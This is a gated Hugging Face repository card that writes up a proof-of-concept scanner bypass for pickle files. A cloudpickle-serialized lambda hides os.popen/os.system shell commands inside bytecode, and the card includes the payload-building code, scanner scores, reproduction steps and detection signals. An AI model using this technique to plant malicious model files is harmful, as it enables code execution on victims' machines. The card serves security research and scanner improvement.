You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.

Log in or Sign Up to review the conditions and access this model content.

pickle-bypass: cloudpickle bare-lambda RCE

Security Research β€” Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to malicious_model.pkl and poc.py requires a request β€” see gate above.

Summary

Scanner scores for malicious_model.pkl:

Scanner CRITICAL WARNING Bypassed?
modelaudit 0.2.37 5 1 Partial (5C, cloudpickle helpers only)
picklescan 1.0.4 0 0 Yes β€” 0 findings
modelscan 0 0 Yes β€” 0 findings

Vulnerability

A cloudpickle-serialized Python lambda embeds arbitrary bytecode directly inside a CodeType object. The dangerous logic (os.popen(...)) lives entirely within the bytecode β€” 'os', 'popen', and the shell command strings appear as co_consts / co_names arguments to the CodeType constructor, not as GLOBAL opcodes.

Static scanners that inspect GLOBAL/STACK_GLOBAL opcode pairs see only cloudpickle's own reconstruction helpers (_make_function, _builtin_type, _function_setstate) and find no dangerous module references.

The dynamic sandbox reports clean because the payload is deferred: pickle.loads() reconstructs the lambda object without calling it. No dangerous syscalls occur during deserialization. The payload fires only when downstream code invokes the callable β€” indistinguishable from a normal model inference call.


Proof of Concept

malicious_model.pkl is the exploit payload. poc.py builds and tests it.

How the payload was built

import cloudpickle

# Self-contained lambda β€” no captured variables.
# 'os', 'popen' stay in CodeType co_consts/co_names, not GLOBAL opcodes.
fn = lambda x: (
    open("/tmp/rce_output.txt", "w").write(
        __import__("os").popen("id && hostname").read()
    ),
    x,
)[1]

payload = cloudpickle.dumps(fn)

Conditions required to trigger

  1. Victim loads the file via pickle.loads() β€” no scanner flags it
  2. Victim calls fn(input) β€” standard callable invocation
  3. Shell commands execute; fn returns input unchanged (passthrough)

The lambda looks like a normal data transform to any caller. The RCE is invisible in the return value and produces no output.

Key difference from cloudpickle MLflow techniques

Techniques that wrap payloads in MLflow PythonModel classes require the victim to call model.predict(df) β€” attack surface is limited to MLflow workflows. A bare cloudpickle lambda triggers on any callable invocation: sklearn pipelines, PyTorch hooks, custom inference wrappers, map(fn, data), hyperparameter search callbacks, etc.


Reproduction Steps

# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-cloudpickle-lambda-rce
cd pickle-bypass-cloudpickle-lambda-rce

# 2. Install requirements
pip install cloudpickle modelaudit picklescan modelscan

# 3. Scan β€” observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl

# 4. Execute to confirm deferred payload
python3 poc.py

Full Technical Writeup

Technique 14: RCE via cloudpickle-serialized bare lambda

Scanner Score
modelaudit 5C, 1W (cloudpickle helpers flagged as always-dangerous)
picklescan 0 findings
modelscan 0 findings

What it does

A victim loads what appears to be a model artifact and calls it as a callable. The call executes an arbitrary shell command (whoami) on the host. The victim receives the return value of the lambda and has no indication a shell command ran.

# Victim code
fn = pickle.loads(open("cloudpickle.pkl", "rb").read())
result = fn(some_input)   # ← os.system("whoami") runs here

How it works

cloudpickle embeds lambda bytecode directly

Standard pickle stores a callable as a GLOBAL opcode pointing to its module and name. cloudpickle instead serializes the lambda definition by reconstructing a raw CodeType object from its constituent fields (bytecode, co_consts, co_names, etc.) and wrapping it with _make_function:

cloudpickle.cloudpickle._make_function   β€” wraps CodeType into a callable
cloudpickle.cloudpickle._builtin_type    β€” resolves types.CodeType
cloudpickle.cloudpickle._function_setstate β€” sets __globals__, __name__, etc.

The payload β€” __import__("os").system("whoami") β€” lives inside the bytecode passed to CodeType(argcount, ..., codestring, ...). At the pickle-opcode level it is opaque bytes: a SHORT_BINBYTES argument.

Why picklescan and modelscan miss it

picklescan and modelscan inspect GLOBAL/STACK_GLOBAL opcode pairs and check (module, attr) against a deny list. In this pickle:

  • os and system appear as SHORT_BINUNICODE string arguments to the CodeType constructor β€” not as GLOBAL opcodes. They are co_consts / co_names inside the bytecode blob.
  • __import__ is called via the bytecode LOAD_BUILTIN / CALL instruction sequence β€” never emitted as a GLOBAL opcode.

picklescan and modelscan see zero dangerous module references.

Why modelaudit flags it (but still misses the actual payload)

modelaudit's "always-dangerous" rules flag the cloudpickle reconstruction helpers themselves (_make_function, _builtin_type, _function_setstate) as CRITICAL, producing 5C 1W. However modelaudit cannot see inside the CodeType bytecode blob and does not know the payload is os.system(...). A defender relying solely on the CRITICAL verdict might dismiss it as a cloudpickle false positive β€” the same helpers appear in legitimate cloudpickle-serialized ML models.

Why dynamic sandboxes miss it (baseline)

A dynamic sandbox calls pickle.loads() and monitors syscalls. During pickle.loads():

  1. _builtin_type("CodeType") resolves types.CodeType β€” no execution
  2. CodeType(...) is called with the bytecode arguments β€” no execution
  3. _make_function(code, ...) wraps it into a Python function β€” no execution
  4. _function_setstate(fn, state) sets __globals__ etc. β€” no execution
  5. The final REDUCE calls the function with ('') β€” this IS a call, but the serialized lambda in the wild takes x as an argument and the REDUCE at offset 647 calls the outer _make_function, not the payload

The sandbox exits with zero dangerous syscalls. The payload fires only when a downstream caller invokes the returned lambda.

Difference from techniques 12 and 13

Techniques 12/13 wrap the payload in an MLflow PythonModel class. The victim must call model.predict(df) to trigger the payload β€” the attack surface is limited to MLflow workflows.

This technique uses a bare lambda. Any code that treats the loaded object as a callable will trigger it: sklearn pipelines, PyTorch hooks, custom inference wrappers, map(fn, data) calls, etc. The attack surface is the entire Python callable protocol.

The specific payload (wild model)

lambda x: __import__("os").system("whoami")
  • co_consts: (None, 'os', 'whoami')
  • co_names: ('__import__', 'system')

from a pickle scanner project that was accidentally committed to HuggingFace.


Detection

The correct signals for this pattern, in priority order:

  1. post_load_invocations[] (dynamic sandbox): calling the deserialized lambda in a network/exec-blocked sandbox produces an execve() syscall β€” captured as CRITICAL. This is the definitive signal.

  2. pickle_strings[] (dynamic sandbox output): 'os', 'system', and 'whoami' appear as SHORT_BINUNICODE strings in the pickle stream (as arguments to the CodeType constructor). A scanner aware of these string positions can flag dangerous built-in names here.

  3. Decompiled source (pickle2py_full): the decompiled lambda body shows __import__('os').system(...) directly.

  4. modelaudit flags the cloudpickle helpers as CRITICAL (5C 1W) but cannot distinguish this from a legitimate cloudpickle model β€” the same helpers appear in benign cloudpickle artifacts. The verdict requires corroboration from signals 1–3 to avoid false positives.


Reproduction

python wild_exploits/14_cloudpickle_lambda_rce/poc.py

Expected output:

Pickle size: ~693 bytes  (wild file: 650 bytes)
Scanner: 5 CRITICAL, 1 WARNING
pickle.loads() complete β€” type: <class 'function'>
(payload NOT called β€” deferred until invocation)

=== Canary payload (verifies execution) ===
pickle.loads() complete β€” canary exists: False
Payload is deferred: lambda reconstructed but not called
Calling fn('test') to simulate downstream usage...
BYPASS confirmed  β†’  rce_pwned:<your-username>

General Analysis β€” Security Research

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support